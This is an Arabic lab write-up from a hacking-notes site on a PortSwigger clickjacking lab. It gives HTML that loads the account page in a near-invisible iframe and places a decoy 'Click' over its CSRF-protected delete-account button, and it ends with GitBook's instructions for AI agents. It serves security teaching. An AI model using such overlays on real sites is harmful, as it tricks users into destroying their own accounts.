> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# تجسير النقر الأساسي مع حماية CSRF

### اختطاف النقر الأساسي مع حماية رمز CSRF

تحتوي هذه المختبر على ميزة اتصال بالإضافة إلى زر حذف الحساب المحمي بواسطة **رمز CSRF**. / الهدف هو تشجيع المستخدم على النقر على عنصر يعرض كلمة "Click" على موقع إغراء، وذلك لحذف حسابه.

**بيانات الاعتماد المقدَّمة:**

* wiener : peter

في صفحة الحساب، نجد الوظيفة **حذف الحساب**.

<figure><img src="/files/57546aeae54c59dbc13032715071934fc218f64f" alt=""><figcaption></figcaption></figure>

الفكرة هي استخدام **`<iframe>`** لإدراج هذه الصفحة داخل موقعنا وخداع المستخدم للنقر عليها في المكان الصحيح.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

تتيح لنا هذه الخطوة عرض الصفحة المستهدفة في موقعنا.

<figure><img src="/files/dbd7dfc9b3b901aecda745978f838382f397d8f3" alt=""><figcaption></figcaption></figure>

ضع نصًا مضللًا ("Click") مباشرة فوق *حذف الحساب* الزر:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/fca8002088b1a0f11dad509b2564c4e352d04208" alt=""><figcaption></figcaption></figure>

حتى لا يرى الضحية الواجهة الحقيقية، فإن **الشفافية** للإطار تُخفَّض:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

إذا لم يظهر أسفل الصفحة، فذلك على الأرجح بسبب غياب `frameborder="0"` المعامل أو بسبب سياسة أمان للموقع. / يمكن تعديل المظهر كما يلي:

<figure><img src="/files/fb54ec2c762c6c33817b0aefeae309fc4a8be698" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
